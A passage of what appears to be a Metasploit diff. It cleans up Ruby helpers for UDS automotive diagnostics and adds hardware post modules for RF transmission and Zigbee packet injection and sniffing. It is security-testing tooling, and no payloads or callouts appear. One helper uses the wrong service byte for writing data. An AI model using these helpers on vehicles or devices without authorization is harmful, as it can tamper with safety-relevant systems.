# @param dst_id [Integer] Integer representation of the receiving CAN ID
|
||||
# @param hard [Boolean] If true a hard reset will be peformed
|
||||
# @param opt [Hash] Additional options to be passed to automotive.send_isotp_and_wait_for_response
|
||||
#
|
||||
# @return [Hash] client.automtoive response (Could be no response)
|
||||
def reset_ecu(bus, srcId, dstId, hard, opt={})
|
||||
if not client.automotive
|
||||
def reset_ecu(bus, src_id, dst_id, hard, opt = {})
|
||||
unless client.automotive
|
||||
print_error("Not an automotive hwbridge session")
|
||||
return {}
|
||||
end
|
||||
srcId = srcId.to_s(16)
|
||||
dstId = dstId.to_s(16)
|
||||
bus = client.automotive.active_bus if not bus
|
||||
if not bus
|
||||
src_id = src_id.to_s(16)
|
||||
dst_id = dst_id.to_s(16)
|
||||
bus = client.automotive.active_bus unless bus
|
||||
unless bus
|
||||
print_line("No active bus, use 'connect' or specify bus via the options")
|
||||
return {}
|
||||
end
|
||||
reset_type = hard ? 1 : 0
|
||||
client.automotive.send_isotp_and_wait_for_response(bus,srcId, dstId, [0x11, reset_type], opt)
|
||||
client.automotive.send_isotp_and_wait_for_response(bus, src_id, dst_id, [0x11, reset_type], opt)
|
||||
end
|
||||
|
||||
### Mode $22 ###
|
||||
|
@ -611,45 +671,45 @@ module UDS
|
|||
# Reads data from a memory region given a lookup ID value
|
||||
#
|
||||
# @param bus [String] unique CAN bus identifier
|
||||
# @param srcId [Integer] Integer representation of the Sending CAN ID
|
||||
# @param dstId [Integer] Integer representation of the receiving CAN ID
|
||||
# @param src_id [Integer] Integer representation of the Sending CAN ID
|
||||
# @param dst_id [Integer] Integer representation of the receiving CAN ID
|
||||
# @param id [Array] 2 Bytes in an array of the identifier. Example [ 0xF1, 0x90 ]
|
||||
# @param show_error [Boolean] If an error, return the Packet hash instead, Default false
|
||||
#
|
||||
# @return [Array] Data retrieved. If show_error is true and an error is detected, then packet hash will be returned instead
|
||||
def read_data_by_id(bus, srcId, dstId, id, show_error=false)
|
||||
def read_data_by_id(bus, src_id, dst_id, id, show_error = false)
|
||||
data = []
|
||||
if not client.automotive
|
||||
unless client.automotive
|
||||
print_error("Not an automotive hwbridge session")
|
||||
return {} if show_error
|
||||
return []
|
||||
end
|
||||
if not id.is_a? Array
|
||||
unless id.is_a? Array
|
||||
print_error("ID paramater must be a two byte array")
|
||||
return {} if show_error
|
||||
return []
|
||||
end
|
||||
if not id.size == 2
|
||||
unless id.size == 2
|
||||
print_error("ID paramater must be a two byte array")
|
||||
return {} if show_error
|
||||
return []
|
||||
end
|
||||
srcId = srcId.to_s(16)
|
||||
dstId = dstId.to_s(16)
|
||||
src_id = src_id.to_s(16)
|
||||
dst_id = dst_id.to_s(16)
|
||||
id.map! { |i| i.to_s(16) } if id[0].is_a? Integer
|
||||
bus = client.automotive.active_bus if not bus
|
||||
if not bus
|
||||
bus = client.automotive.active_bus unless bus
|
||||
unless bus
|
||||
print_line("No active bus, use 'connect' or specify bus via the options")
|
||||
return {}
|
||||
end
|
||||
opt = {}
|
||||
opt["MAXPKTS"] = 15
|
||||
packets = client.automotive.send_isotp_and_wait_for_response(bus,srcId, dstId, [0x22] + id, opt)
|
||||
return [] if packets == nil
|
||||
if packets.has_key? "error"
|
||||
packets = client.automotive.send_isotp_and_wait_for_response(bus, src_id, dst_id, [0x22] + id, opt)
|
||||
return [] if packets.nil?
|
||||
if packets.key? "error"
|
||||
return packets if show_error
|
||||
else
|
||||
data = response_hash_to_data_array(dstId, packets)
|
||||
data = response_hash_to_data_array(dst_id, packets)
|
||||
end
|
||||
data
|
||||
end
|
||||
|
@ -660,30 +720,30 @@ module UDS
|
|||
# Retrieves the security access token
|
||||
#
|
||||
# @param bus [String] unique CAN bus identifier
|
||||
# @param srcId [Integer] Integer representation of the Sending CAN ID
|
||||
# @param dstId [Integer] Integer representation of the receiving CAN ID
|
||||
# @param src_id [Integer] Integer representation of the Sending CAN ID
|
||||
# @param dst_id [Integer] Integer representation of the receiving CAN ID
|
||||
# @param level [Integer] Requested security access level. Default is 1
|
||||
#
|
||||
# @return [Hash] Packet Hash with { "SEED" => [ XX, XX ] }
|
||||
def get_security_token(bus, srcId, dstId, level=1)
|
||||
if not client.automotive
|
||||
def get_security_token(bus, src_id, dst_id, level = 1)
|
||||
unless client.automotive
|
||||
print_error("Not an automotive hwbridge session")
|
||||
return {}
|
||||
end
|
||||
srcId = srcId.to_s(16)
|
||||
dstId = dstId.to_s(16)
|
||||
src_id = src_id.to_s(16)
|
||||
dst_id = dst_id.to_s(16)
|
||||
level = level.to_s(16)
|
||||
bus = client.automotive.active_bus if not bus
|
||||
if not bus
|
||||
bus = client.automotive.active_bus unless bus
|
||||
unless bus
|
||||
print_line("No active bus, use 'connect' or specify bus via the options")
|
||||
return {}
|
||||
end
|
||||
opt={}
|
||||
opt["MAXPKTS"]=1
|
||||
packets = client.automotive.send_isotp_and_wait_for_response(bus,srcId, dstId, [0x27, level], opt)
|
||||
return {} if packets == nil
|
||||
if not packets.has_key? "error"
|
||||
packets["SEED"] = response_hash_to_data_array(dstId, packets)
|
||||
opt = {}
|
||||
opt["MAXPKTS"] = 1
|
||||
packets = client.automotive.send_isotp_and_wait_for_response(bus, src_id, dst_id, [0x27, level], opt)
|
||||
return {} if packets.nil?
|
||||
unless packets.key? "error"
|
||||
packets["SEED"] = response_hash_to_data_array(dst_id, packets)
|
||||
end
|
||||
packets
|
||||
end
|
||||
|
@ -692,33 +752,33 @@ module UDS
|
|||
# Sends a security access tokens response to the seed request
|
||||
#
|
||||
# @param bus [String] unique CAN bus identifier
|
||||
# @param srcId [Integer] Integer representation of the Sending CAN ID
|
||||
# @param dstId [Integer] Integer representation of the receiving CAN ID
|
||||
# @param src_id [Integer] Integer representation of the Sending CAN ID
|
||||
# @param dst_id [Integer] Integer representation of the receiving CAN ID
|
||||
# param key [Array] Array of Hex to be used as the key. Same size as the seed
|
||||
# @param response_level [Integer] Requested security access level response. Usually level + 1. Default is 2
|
||||
#
|
||||
# @return [Hash] packet response from client.automotoive
|
||||
def send_security_token_response(bus, srcId, dstId, key, response_level=2)
|
||||
if not client.automotive
|
||||
def send_security_token_response(bus, src_id, dst_id, key, response_level = 2)
|
||||
unless client.automotive
|
||||
print_error("Not an automotive hwbridge session")
|
||||
return {}
|
||||
end
|
||||
if not key.is_a? Array
|
||||
unless key.is_a? Array
|
||||
print_error("Key must be an array of hex values")
|
||||
return {}
|
||||
end
|
||||
srcId = srcId.to_s(16)
|
||||
dstId = dstId.to_s(16)
|
||||
src_id = src_id.to_s(16)
|
||||
dst_id = dst_id.to_s(16)
|
||||
key.map! { |k| k.to_s(16) } if key[0].is_a? Integer
|
||||
response_level = response_level.to_s(16)
|
||||
bus = client.automotive.active_bus if not bus
|
||||
if not bus
|
||||
bus = client.automotive.active_bus unless bus
|
||||
unless bus
|
||||
print_line("No active bus, use 'connect' or specify bus via the options")
|
||||
return {}
|
||||
end
|
||||
opt = {}
|
||||
opt["MAXPKTS"]=1
|
||||
client.automotive.send_isotp_and_wait_for_response(bus,srcId, dstId, [0x27, response_level] + key, opt)
|
||||
opt["MAXPKTS"] = 1
|
||||
client.automotive.send_isotp_and_wait_for_response(bus, src_id, dst_id, [0x27, response_level] + key, opt)
|
||||
end
|
||||
|
||||
### Mode $2E ###
|
||||
|
@ -727,37 +787,37 @@ module UDS
|
|||
# Writes data by ID
|
||||
#
|
||||
# @param bus [String] unique CAN bus identifier
|
||||
# @param srcId [Integer] Integer representation of the Sending CAN ID
|
||||
# @param dstId [Integer] Integer representation of the receiving CAN ID
|
||||
# @param src_id [Integer] Integer representation of the Sending CAN ID
|
||||
# @param dst_id [Integer] Integer representation of the receiving CAN ID
|
||||
# @param id [Array] 2 Bytes in an array of the identifier. Example [ 0xF1, 0x90 ]
|
||||
# @param data [Array] Array of bytes to write
|
||||
#
|
||||
# @return [Hash] Packet hash from client.automotive
|
||||
def write_data_by_id(bus, srcId, dstId, id, data)
|
||||
if not client.automotive
|
||||
def write_data_by_id(bus, src_id, dst_id, id, data)
|
||||
unless client.automotive
|
||||
print_error("Not an automotive hwbridge session")
|
||||
return {}
|
||||
end
|
||||
if not id.is_a? Array
|
||||
unless id.is_a? Array
|
||||
print_error("ID must be an array of hex values")
|
||||
return {}
|
||||
end
|
||||
if not data.is_a? Array
|
||||
unless data.is_a? Array
|
||||
print_error("DATA must be an array of hex values")
|
||||
return {}
|
||||
end
|
||||
srcId = srcId.to_s(16)
|
||||
dstId = dstId.to_s(16)
|
||||
src_id = src_id.to_s(16)
|
||||
dst_id = dst_id.to_s(16)
|
||||
id.map! { |i| i.to_s(16) } if id[0].is_a? Integer
|
||||
data.map! { |d| d.to_s(16) } if data[0].is_a? Integer
|
||||
bus = client.automotive.active_bus if not bus
|
||||
if not bus
|
||||
bus = client.automotive.active_bus unless bus
|
||||
unless bus
|
||||
print_line("No active bus, use 'connect' or specify bus via the options")
|
||||
return {}
|
||||
end
|
||||
opt={}
|
||||
opt["MAXPKTS"]=1
|
||||
client.automotive.send_isotp_and_wait_for_response(bus,srcId, dstId, [0x27] + id + data, opt)
|
||||
opt = {}
|
||||
opt["MAXPKTS"] = 1
|
||||
client.automotive.send_isotp_and_wait_for_response(bus, src_id, dst_id, [0x27] + id + data, opt)
|
||||
end
|
||||
|
||||
### Mode $31 ###
|
||||
|
@ -767,38 +827,38 @@ module UDS
|
|||
# manufacturer.
|
||||
#
|
||||
# @param bus [String] unique CAN bus identifier
|
||||
# @param srcId [Integer] Integer representation of the Sending CAN ID
|
||||
# @param dstId [Integer] Integer representation of the receiving CAN ID
|
||||
# @param src_id [Integer] Integer representation of the Sending CAN ID
|
||||
# @param dst_id [Integer] Integer representation of the receiving CAN ID
|
||||
# @param routine_type [Integer] Type or routine request. Example: 1 = Start, 3 = Report
|
||||
# param id [Array] 2 byte Array for the routine identifier
|
||||
# @param data [Array] Array of routine data/params. Specific to the routine. Optional, Default []
|
||||
# @param opt [Hash] Additional options to be passed to automotive.send_isotp_and_wait_for_response
|
||||
#
|
||||
# @return [Hash] Packet hash from client.automotive
|
||||
def routine_control(bus, srcId, dstId, routine_type, id, data=[], opt={})
|
||||
if not client.automotive
|
||||
def routine_control(bus, src_id, dst_id, routine_type, id, data = [], opt = {})
|
||||
unless client.automotive
|
||||
print_error("Not an automotive hwbridge session")
|
||||
return {}
|
||||
end
|
||||
if not id.is_a? Array
|
||||
unless id.is_a? Array
|
||||
print_error("ID must be an array of hex values")
|
||||
return {}
|
||||
end
|
||||
if not data.is_a? Array
|
||||
unless data.is_a? Array
|
||||
print_error("DATA must be an array of hex values")
|
||||
return {}
|
||||
end
|
||||
srcId = srcId.to_s(16)
|
||||
dstId = dstId.to_s(16)
|
||||
src_id = src_id.to_s(16)
|
||||
dst_id = dst_id.to_s(16)
|
||||
routine_type = routine_type.to_s(16)
|
||||
id.map! { |i| i.to_s(16) } if id[0].is_a? Integer
|
||||
data.map! { |d| d.to_s(16) } if data.size > 0 and data[0].is_a? Integer
|
||||
bus = client.automotive.active_bus if not bus
|
||||
if not bus
|
||||
data.map! { |d| d.to_s(16) } if !data.empty? && (data[0].is_a? Integer)
|
||||
bus = client.automotive.active_bus unless bus
|
||||
unless bus
|
||||
print_line("No active bus, use 'connect' or specify bus via the options")
|
||||
return {}
|
||||
end
|
||||
client.automotive.send_isotp_and_wait_for_response(bus,srcId, dstId, [0x31, routine_type] + id + data, opt)
|
||||
client.automotive.send_isotp_and_wait_for_response(bus, src_id, dst_id, [0x31, routine_type] + id + data, opt)
|
||||
end
|
||||
|
||||
### Mode $3E ###
|
||||
|
@ -809,28 +869,28 @@ module UDS
|
|||
# intervals
|
||||
#
|
||||
# @param bus [String] unique CAN bus identifier
|
||||
# @param srcId [Integer] Integer representation of the Sending CAN ID
|
||||
# @param dstId [Integer] Integer representation of the receiving CAN ID
|
||||
# @param src_id [Integer] Integer representation of the Sending CAN ID
|
||||
# @param dst_id [Integer] Integer representation of the receiving CAN ID
|
||||
# @param suppress_response [Boolean] By default suppress ACK from ECU. Set to false if you want confirmation
|
||||
#
|
||||
# @return [Hash] Packet hash from client.automotive. Typically blank unless suppress_response is false
|
||||
def send_tester_present(bus, srcId, dstId, suppress_response=true)
|
||||
if not client.automotive
|
||||
def send_tester_present(bus, src_id, dst_id, suppress_response = true)
|
||||
unless client.automotive
|
||||
print_error("Not an automotive hwbridge session")
|
||||
return {}
|
||||
end
|
||||
srcId = srcId.to_s(16)
|
||||
dstId = dstId.to_s(16)
|
||||
bus = client.automotive.active_bus if not bus
|
||||
if not bus
|
||||
src_id = src_id.to_s(16)
|
||||
dst_id = dst_id.to_s(16)
|
||||
bus = client.automotive.active_bus unless bus
|
||||
unless bus
|
||||
print_line("No active bus, use 'connect' or specify bus via the options")
|
||||
return {}
|
||||
end
|
||||
suppress = 0x80
|
||||
suppress = 0 if not suppress_reponse
|
||||
opt={}
|
||||
suppress = 0 unless suppress_response
|
||||
opt = {}
|
||||
opt["MAXPKTS"] = 1
|
||||
client.automotive.send_isotp_and_wait_for_response(bus,srcId, dstId, [0x3E, suppress], opt)
|
||||
client.automotive.send_isotp_and_wait_for_response(bus, src_id, dst_id, [0x3E, suppress], opt)
|
||||
end
|
||||
|
||||
end
|
||||
|
|
|
@ -0,0 +1,297 @@
|
|||
# -*- coding: binary -*-
|
||||
module Msf
|
||||
class Post
|
||||
module Hardware
|
||||
module RFTransceiver
|
||||
|
||||
module RFTransceiver
|
||||
|
||||
attr_accessor :index
|
||||
|
||||
# Validates success of a function call
|
||||
# @param r [Hash] A hash in expected format { "success" => true }
|
||||
# @return [Boolean] if success is true or not, returns false if hash is wrong
|
||||
def return_success(r)
|
||||
return false unless r
|
||||
return false unless r.has_key?('success')
|
||||
return r['success']
|
||||
end
|
||||
|
||||
# Checks to see if this module is a RF Transceiver module
|
||||
# @return [Boolean] true if client.rftransceiver is loaded
|
||||
def is_rf?
|
||||
return true if client.rftransceiver
|
||||
print_error("Not an RFTransceiver module")
|
||||
return false
|
||||
end
|
||||
|
||||
# Returns a list of supported USB indexes by relay
|
||||
# @return [Array] Example: [ 0, 1 ]
|
||||
def get_supported_indexes
|
||||
return [] unless is_rf?
|
||||
r = client.rftransceiver.supported_idx
|
||||
return r['indexes'] if r.has_key?('indexes')
|
||||
print_error("Invalid response from relay")
|
||||
return []
|
||||
end
|
||||
|
||||
#
|
||||
# Sets the target USB index
|
||||
# @param idx [Integer]
|
||||
def set_index(idx)
|
||||
self.index = idx
|
||||
end
|
||||
|
||||
#
|
||||
# Sets the frequency
|
||||
# @param freq [Integer] Example: 433000000
|
||||
# @param mhz [Integer] Optional Mhz
|
||||
# @return [Boolean] success value
|
||||
def set_freq(freq, mhz=-1)
|
||||
return false unless is_rf?
|
||||
self.index ||= 0
|
||||
opts = {}
|
||||
opts['mhz'] = mhz unless mhz == -1
|
||||
r = client.rftransceiver.set_freq(self.index, freq, opts)
|
||||
return_success(r)
|
||||
end
|
||||
|
||||
#
|
||||
# Sets the mode TX, RX or Idle
|
||||
# @param mode [String] Mode type TX/RX/IDLE
|
||||
# @return [Boolean] success value
|
||||
def set_mode(mode)
|
||||
return false unless is_rf?
|
||||
self.index ||= 0
|
||||
r = client.rftransceiver.set_mode(self.index, mode)
|
||||
return_success(r)
|
||||
end
|
||||
|
||||
#
|
||||
# Gets supported modulations
|
||||
# @return [Array] String list of modulations
|
||||
def get_modulations
|
||||
return [] unless is_rf?
|
||||
self.index ||= 0
|
||||
return client.rftransceiver.get_supported_modulations(self.index)
|
||||
end
|
||||
|
||||
#
|
||||
# Sets the modulation
|
||||
# @param mod [String] Example ASK/OOK
|
||||
# @return [Boolean] success value
|
||||
def set_modulation(mod)
|
||||
return false unless is_rf?
|
||||
self.index ||= 0
|
||||
r = client.rftransceiver.set_modulation(self.index, mod)
|
||||
return_success(r)
|
||||
end
|
||||
|
||||
#
|
||||
# Sets packet's fixed length
|
||||
# @param len [Integer] Length of packet
|
||||
# @return [Boolean] success value
|
||||
def set_flen(len)
|
||||
return false unless is_rf?
|
||||
self.index ||= 0
|
||||
r = client.rftransceiver.make_pkt_flen(self.index, len)
|
||||
return_success(r)
|
||||
end
|
||||
|
||||
#
|
||||
# Sets packet's variable length
|
||||
# @param len [Integer] Length of packet
|
||||
# @return [Boolean] success value
|
||||
def set_vlen(len)
|
||||
return false unless is_rf?
|
||||
self.index ||= 0
|
||||
r = client.rftransceiver.make_pkt_vlen(self.index, len)
|
||||
return_success(r)
|
||||
end
|
||||
|
||||
#
|
||||
# Transmits a RF Packet. All data is base64 encoded before transmition to relay
|
||||
# @param data [String] Blog of data stored in a string. Could be binary
|
||||
# @param repeat [Integer] Optional Repeat transmission
|
||||
# @param offset [Integer] Optional Offset within data section
|
||||
# @return [Boolean] success value
|
||||
def rfxmit(data, repeat=-1, offset=-1)
|
||||
return false unless is_rf?
|
||||
self.index ||= 0
|
||||
opts = {}
|
||||
opts['repeat'] = repeat unless repeat == -1
|
||||
opts['offset'] = offset unless offset == -1
|
||||
r = client.rftransceiver.rfxmit(self.index, data, opts)
|
||||
return_success(r)
|
||||
end
|
||||
|
||||
#
|
||||
# Receive a packet
|
||||
# @param timeout [Integer] Optional timeout value
|
||||
# @param blocksize [Integer] Optional blocksize
|
||||
# @return [String] Base64 decoded data, could be binary
|
||||
def rfrecv(timeout = -1, blocksize = -1)
|
||||
return '' unless is_rf?
|
||||
self.index ||= 0
|
||||
opts = {}
|
||||
opts['timeout'] = timeout unless timeout == -1
|
||||
opts['blocksize'] = blocksize unless blocksize == -1
|
||||
client.rftransceiver.rfrecv(self.index, opts)
|
||||
end
|
||||
|
||||
#
|
||||
# Enable packet CRC
|
||||
# @return [Boolean] success value
|
||||
def enable_crc
|
||||
return false unless is_rf?
|
||||
self.index ||= 0
|
||||
r = client.rftransceiver.enable_packet_crc(self.index)
|
||||
return_success(r)
|
||||
end
|
||||
|
||||
#
|
||||
# Enable Manchester encoding
|
||||
# @return [Boolean] success value
|
||||
def enable_manchester
|
||||
return false unless is_rf?
|
||||
self.index ||= 0
|
||||
r = client.rftransceiver.enable_manchester(self.index)
|
||||
return_success(r)
|
||||
end
|
||||
|
||||
#
|
||||
# Sets the channel
|
||||
# @param channel [Integer] Channel number
|
||||
# @return [Boolean] success value
|
||||
def set_channel(channel)
|
||||
return false unless is_rf?
|
||||
self.index ||= 0
|
||||
r = client.rftransceiver.set_channel(self.index, channel)
|
||||
return_success(r)
|
||||
end
|
||||
|
||||
#
|
||||
# Sets the channel bandwidth
|
||||
# @param bandwidth [Integer] Bandwidth value
|
||||
# @param mhz [Integer] Mhz
|
||||
# @return [Boolean] success value
|
||||
def set_channel_bw(bandwidth, mhz=-1)
|
||||
return false unless is_rf?
|
||||
self.index ||= 0
|
||||
opts = {}
|
||||
opts['mhz'] = mhz unless mhz == -1
|
||||
r = client.rftransceiver.set_channel_bandwidth(self.index, bandwidth, opts)
|
||||
return_success(r)
|
||||
end
|
||||
|
||||
#
|
||||
# Calculates the appropriate exponent and mantissa and updates the correct registers
|
||||
# chanspc is in kHz. if you prefer, you may set the chanspc_m and chanspc_e settings directly.
|
||||
# only use one or the other:
|
||||
# * chanspc
|
||||
# * chanspc_m and chanspc_e
|
||||
# @param chanspc [Integer]
|
||||
# @param chanspc_m [Integer]
|
||||
# @param chanspc_e [Integer]
|
||||
# @param mhz [Integer] Mhz
|
||||
# @return [Boolean] success value
|
||||
def set_channel_spc(chanspc = -1, chanspc_m = -1, chanspc_e = -1, mhz=-1)
|
||||
return false unless is_rf?
|
||||
self.index ||= 0
|
||||
opts = {}
|
||||
opts['chanspc'] = chanspc unless chanspc == -1
|
||||
opts['chanspc_m'] = chanspc_m unless chanspc_m == -1
|
||||
opts['chanspc_e'] = chanspc_e unless chanspc_e == -1
|
||||
opts['mhz'] = mhz unless mhz == -1
|
||||
r = client.rftransceiver.set_channel_spc(self.index, opts)
|
||||
return_success(r)
|
||||
end
|
||||
|
||||
#
|
||||
# Sets the baud rate
|
||||
# @param baud [Integer] baud rate
|
||||
# @param mhz [Integer] Optional Mhz
|
||||
# @return [Boolean] success value
|
||||
def set_baud(baud, mhz=-1)
|
||||
return false unless is_rf?
|
||||
self.index ||= 0
|
||||
opts = {}
|
||||
opts['mhz'] = mhz unless mhz == -1
|
||||
r = client.rftransceiver.set_baud_rate(self.index, baud, opts)
|
||||
return_success(r)
|
||||
end
|
||||
|
||||
#
|
||||
# Sets the deviation
|
||||
# @param deviat [Integer] deviat value
|
||||
# @param mhz [Integer] Optional mhz
|
||||
# @return [Boolean] success value
|
||||
def set_deviation(deviat, mhz=-1)
|
||||
return false unless is_rf?
|
||||
self.index ||= 0
|
||||
opts = {}
|
||||
opts['mhz'] = mhz unless mhz == -1
|
||||
r = client.rftransceiver.set_deviation(self.index, deviat, opts)
|
||||
return_success(r)
|
||||
end
|
||||
|
||||
#
|
||||
# Sets sync word
|
||||
# @param word [Integer] Sync word
|
||||
# @return [Boolean] success value
|
||||
def set_sync_word(word)
|
||||
return false unless is_rf?
|
||||
self.index ||= 0
|
||||
r = client.rftransceiver.set_sync_word(self.index, word)
|
||||
return_success(r)
|
||||
end
|
||||
|
||||
#
|
||||
# Sets the sync mode
|
||||
# @param mode [Integer] Mode
|
||||
# @return [Boolean] success value
|
||||
def set_sync_mode(mode)
|
||||
return false unless is_rf?
|
||||
self.index ||= 0
|
||||
r = client.rftransceiver.set_sync_mode(self.index, mode)
|
||||
return_success(r)
|
||||
end
|
||||
|
||||
#
|
||||
# Sets the number of preamble bits
|
||||
# @param bits [Integer] number of preamble bits to use
|
||||
# @return [Boolean] success value
|
||||
def set_preamble(bits)
|
||||
return false unless is_rf?
|
||||
self.index ||= 0
|
||||
r = client.rftransceiver.set_number_preamble(self.index, bits)
|
||||
return_success(r)
|
||||
end
|
||||
|
||||
#
|
||||
# Sets the power to max. Ensure you set the frequency first before using this
|
||||
# @return [Boolean] success value
|
||||
def max_power
|
||||
return false unless is_rf?
|
||||
self.index ||= 0
|
||||
r = client.rftransceiver.set_maxpower(self.index)
|
||||
return_success(r)
|
||||
end
|
||||
|
||||
#
|
||||
# Set power level
|
||||
# @param level [Integer] Power level
|
||||
# @return [Boolean] success value
|
||||
def set_power(level)
|
||||
return false unless is_rf?
|
||||
self.index ||= 0
|
||||
r = client.rftransceiver.set_power(self.index, level)
|
||||
return_success(r)
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
|
@ -0,0 +1,255 @@
|
|||
# -*- coding: binary -*-
|
||||
module Msf
|
||||
class Post
|
||||
module Hardware
|
||||
module Zigbee
|
||||
|
||||
module Utils
|
||||
|
||||
## Constants for packet decoding fields
|
||||
# Frame Control Field
|
||||
DOT154_FCF_TYPE_MASK = 0x0007 #: Frame type mask
|
||||
DOT154_FCF_SEC_EN = 0x0008 #: Set for encrypted payload
|
||||
DOT154_FCF_FRAME_PND = 0x0010 #: Frame pending
|
||||
DOT154_FCF_ACK_REQ = 0x0020 #: ACK request
|
||||
DOT154_FCF_INTRA_PAN = 0x0040 #: Intra-PAN activity
|
||||
DOT154_FCF_DADDR_MASK = 0x0C00 #: Destination addressing mode mask
|
||||
DOT154_FCF_VERSION_MASK = 0x3000 #: Frame version
|
||||
DOT154_FCF_SADDR_MASK = 0xC000 #: Source addressing mask mode
|
||||
|
||||
# Frame Control Field Bit Shifts
|
||||
DOT154_FCF_TYPE_MASK_SHIFT = 0 #: Frame type mask mode shift
|
||||
DOT154_FCF_DADDR_MASK_SHIFT = 10 #: Destination addressing mode mask
|
||||
DOT154_FCF_VERSION_MASK_SHIFT = 12 #: Frame versions mask mode shift
|
||||
DOT154_FCF_SADDR_MASK_SHIFT = 14 #: Source addressing mask mode shift
|
||||
|
||||
# Address Mode Definitions
|
||||
DOT154_FCF_ADDR_NONE = 0x0000 #: Not sure when this is used
|
||||
DOT154_FCF_ADDR_SHORT = 0x0002 #: 4-byte addressing
|
||||
DOT154_FCF_ADDR_EXT = 0x0003 #: 8-byte addressing
|
||||
|
||||
DOT154_FCF_TYPE_BEACON = 0 #: Beacon frame
|
||||
DOT154_FCF_TYPE_DATA = 1 #: Data frame
|
||||
DOT154_FCF_TYPE_ACK = 2 #: Acknowledgement frame
|
||||
DOT154_FCF_TYPE_MACCMD = 3 #: MAC Command frame
|
||||
|
||||
DOT154_CRYPT_NONE = 0x00 #: No encryption, no MIC
|
||||
DOT154_CRYPT_MIC32 = 0x01 #: No encryption, 32-bit MIC
|
||||
DOT154_CRYPT_MIC64 = 0x02 #: No encryption, 64-bit MIC
|
||||
DOT154_CRYPT_MIC128 = 0x03 #: No encryption, 128-bit MIC
|
||||
DOT154_CRYPT_ENC = 0x04 #: Encryption, no MIC
|
||||
DOT154_CRYPT_ENC_MIC32 = 0x05 #: Encryption, 32-bit MIC
|
||||
DOT154_CRYPT_ENC_MIC64 = 0x06 #: Encryption, 64-bit MIC
|
||||
DOT154_CRYPT_ENC_MIC128 = 0x07 #: Encryption, 128-bit MIC
|
||||
|
||||
# Infer if the current session is for a ZigBee device.
|
||||
# @return [Boolean] true if session is for a ZigBee device, false otherwise
|
||||
def is_zigbee_hwbridge_session?
|
||||
return true if client.zigbee
|
||||
print_error("Not a ZigBee hwbridge session")
|
||||
false
|
||||
end
|
||||
|
||||
# Verify if a device has been specified.
|
||||
# @return [Boolean] true if device is specified, false otherwise
|
||||
def verify_device(device)
|
||||
return true if device
|
||||
print_line("No target device set, use 'target' or specify bus via the options.")
|
||||
false
|
||||
end
|
||||
|
||||
# Retrieves the target Zigbee device. This is typically set by the user via the
|
||||
# interactive HWBridge command line
|
||||
# @return [String] Zigbee device ID
|
||||
def get_target_device
|
||||
return unless is_zigbee_hwbridge_session?
|
||||
return client.zigbee.get_target_device
|
||||
end
|
||||
|
||||
# Sets the target default Zigbee Device. This command typically isn't called via a script
|
||||
# Instead the user is expected to set this via the interactive HWBridge commandline
|
||||
# @param device [String] Zigbee device ID
|
||||
def set_target_device(device)
|
||||
return unless is_zigbee_hwbridge_session?
|
||||
client.zigbee.set_target_device device
|
||||
end
|
||||
|
||||
# Sets the Zigbee Channel
|
||||
# @param device [String] Zigbee device ID
|
||||
# @param channel [Integer] Channel number, typically 11-25
|
||||
def set_channel(device, channel)
|
||||
return {} unless is_zigbee_hwbridge_session?
|
||||
device = client.zigbee.target_device unless device
|
||||
return {} unless verify_device(device)
|
||||
client.zigbee.set_channel(device, channel)
|
||||
end
|
||||
|
||||
# Inject raw packets. Need firmware on the zigbee device that supports transmission.
|
||||
# @param device [String] Zigbee device ID
|
||||
# @param data [String] Raw binary data sent as a string
|
||||
def inject(device, data)
|
||||
return {} unless is_zigbee_hwbridge_session?
|
||||
device = client.zigbee.target_device unless device
|
||||
return {} unless verify_device(device)
|
||||
client.zigbee.inject(device, data)
|
||||
end
|
||||
|
||||
# Recieves data from the Zigbee device
|
||||
# @param device [String] Zigbee device ID
|
||||
# @return [String] Binary blob of returned data
|
||||
def recv(device)
|
||||
return {} unless is_zigbee_hwbridge_session?
|
||||
device = client.zigbee.target_device unless device
|
||||
return {} unless verify_device(device)
|
||||
client.zigbee.recv(device)
|
||||
end
|
||||
|
||||
# Turn off Zigbee receiving
|
||||
# @param device [String] Zigbee device ID
|
||||
def sniffer_off(device)
|
||||
return {} unless is_zigbee_hwbridge_session?
|
||||
device = client.zigbee.target_device unless device
|
||||
return {} unless verify_device(device)
|
||||
client.zigbee.sniffer_off(device)
|
||||
end
|
||||
|
||||
# Turn on Zigbee receiving
|
||||
# @param device [String] Zigbee device ID
|
||||
def sniffer_on(device)
|
||||
return {} unless is_zigbee_hwbridge_session?
|
||||
device = client.zigbee.target_device unless device
|
||||
return {} unless verify_device(device)
|
||||
client.zigbee.sniffer_on(device)
|
||||
end
|
||||
|
||||
# Breaks up the packet into different sections. Also provides
|
||||
# Some decoding information. This method relates to Killerbee's Pktchop method and
|
||||
# Returns a similar array structure PktChop. If it's a beacon data you will also have
|
||||
# A BEACONDATA array of raw beacon related packets. You can pull other decoded portions from
|
||||
# the returned hash such as
|
||||
# FSF
|
||||
# SEQ
|
||||
# SPAN_ID
|
||||
# SOURCE
|
||||
# SUPERFRAME
|
||||
# GTS
|
||||
# PENDING_ADDRESS_COUNT
|
||||
# PROTOCOL_ID
|
||||
# STACK_PROFILE
|
||||
# CAPABILITY
|
||||
# EXT_PAN_ID
|
||||
# TX_OFFSET
|
||||
# UPDATE_ID
|
||||
# @param packet [String] Raw data from recv
|
||||
# @return [Hash] { PktChop => [Array of data], ..
|
||||
def dot154_packet_decode(packet)
|
||||
result = {}
|
||||
offset = 0
|
||||
pktchop = ['', '', '', '', '', '', [], '']
|
||||
pktchop[0] = packet[0,2]
|
||||
# Sequence number
|
||||
pktchop[1] = packet[2]
|
||||
# Byte swap
|
||||
fcf = pktchop[0].reverse.unpack("H*")[0].hex
|
||||
result["FSF"] = fcf
|
||||
result["SEQ"] = pktchop[1]
|
||||
# Check if we are dealing with a beacon frame
|
||||
if (fcf & DOT154_FCF_TYPE_MASK) == DOT154_FCF_TYPE_BEACON
|
||||
beacondata = ["", "", "", "", "", "", "", "", "", ""]
|
||||
# 802.15.4 fields, SPAN and SA
|
||||
pktchop[4] = packet[3,2]
|
||||
pktchop[5] = packet[5,2]
|
||||
result["SPAN_ID"] = pktchop[4].reverse.unpack("H*")[0]
|
||||
result["SOURCE"] = pktchop[5].reverse.unpack("H*")[0]
|
||||
offset = 7
|
||||
|
||||
# Superframe specification
|
||||
beacondata[0] = packet[offset,2]
|
||||
result["SUPERFRAME"] = beacondata[0]
|
||||
offset+=2
|
||||
|
||||
# GTS data
|
||||
beacondata[1] = packet[offset]
|
||||
result["GTS"] = beacondata[1]
|
||||
